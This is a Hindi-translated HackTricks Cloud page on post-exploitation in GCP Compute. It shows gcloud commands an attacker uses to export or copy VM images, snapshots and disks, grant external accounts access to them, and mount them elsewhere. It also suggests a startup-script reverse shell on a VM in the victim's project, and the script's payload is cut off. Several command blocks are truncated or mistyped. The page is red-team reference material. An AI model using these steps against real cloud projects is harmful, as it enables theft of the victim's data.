GCP - Compute Post Exploitation
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Compute
For more information about Compute and VPC (Networking) check:
Export & Inspect Images locally
यह एक हमलावर को already existing images के अंदर मौजूद डेटा तक पहुँचने या running VMs की नई images बनाने और बिना चल रहे VM में प्रवेश किए उनका डेटा एक्सेस करने की अनुमति देगा।
यह संभव है कि आप एक VM image को bucket में export कर सकें, फिर उसे download करके कमांड के जरिए स्थानीय रूप से mount कर सकें:
VM image को export और download करें
```bash gcloud compute images export --destination-uri gs://इस कार्रवाई को करने से पहले attacker को storage bucket पर privileges की आवश्यकता हो सकती है और निश्चित रूप से privileges over cloudbuild चाहिए क्योंकि यह वही service है जिसे export करने के लिए कहा जाएगा
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को privileged permissions चाहिए होंगे।
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com को चाहिए:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
और SA <project-id>-compute@developer.gserviceaccount.com को चाहिए:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
Snapshots और Disks को सीधे export करना संभव नहीं है, लेकिन संभव है कि आप एक snapshot को disk में बदलें, एक disk को image में बदलें और पिछला अनुभाग का पालन करते हुए उस image को export करके लोकली निरीक्षण करें
Create disk from snapshot and image from disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### एक Image से VM बनाकर निरीक्षण
उद्देश्य यह है कि **image में संग्रहीत data** या उस **running VM** के भीतर मौजूद चीज़ों तक पहुँच प्राप्त की जा सके जहाँ एक **attacker** ने **image** बनाई है; इसके लिए किसी external account को उस image पर access देने की व्यवस्था की जा सकती है:
<details>
<summary>image को access दें और VM बनाएं</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
और फिर इससे एक नई VM instance बनाएं:
image से VM instance बनाएं
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```यदि आप अपनी external account को image पर access नहीं दे पाए, तो आप victim के project में उस image का उपयोग करके एक VM लॉन्च कर सकते हैं और image तक पहुँचने के लिए metadata को reverse shell execute करने के लिए सेट कर सकते हैं, param जोड़कर:
metadata में reverse shell के साथ VM बनाएं
```bash --metadata startup-script='#! /bin/bash echo "hello";Snapshot/Disk को VM से attach करके निरीक्षण करें
किसी disk या snapshot में संग्रहीत डेटा तक पहुँचने के लिए, आप snapshot को disk में बदल सकते हैं, disk को image में बदलकर पिछले चरणों का पालन कर सकते हैं।
या आप disk पर किसी external account को access दे सकते हैं (यदि प्रारंभिक बिंदु snapshot है तो snapshot पर access दें या उससे disk बनाएं):
disk को access दें
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```डिस्क संलग्न करें किसी instance पर:
डिस्क को instance पर संलग्न करें
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```VM के अंदर डिस्क माउंट करें:
- VM में SSH करें:
SSH into VM and mount disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- डिस्क की पहचान करें: एक बार VM के अंदर, डिस्क डिवाइस की सूची दिखाकर नई डिस्क की पहचान करें। सामान्यतः आप इसे
/dev/sdb,/dev/sdc, आदि के रूप में पाएंगे। - डिस्क को Format और Mount करें (यदि यह नई या raw डिस्क है):
- एक माउंट पॉइंट बनाएं:
Create mount point and mount
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- डिस्क माउंट करें:
Mount disk device
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
यदि आप किसी external project को snapshot या disk तक access नहीं दे सकते हैं, तो आपको ये कार्य उसी project के instance के अंदर करना पड़ सकता है जहाँ snapshot/disk हैं।
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

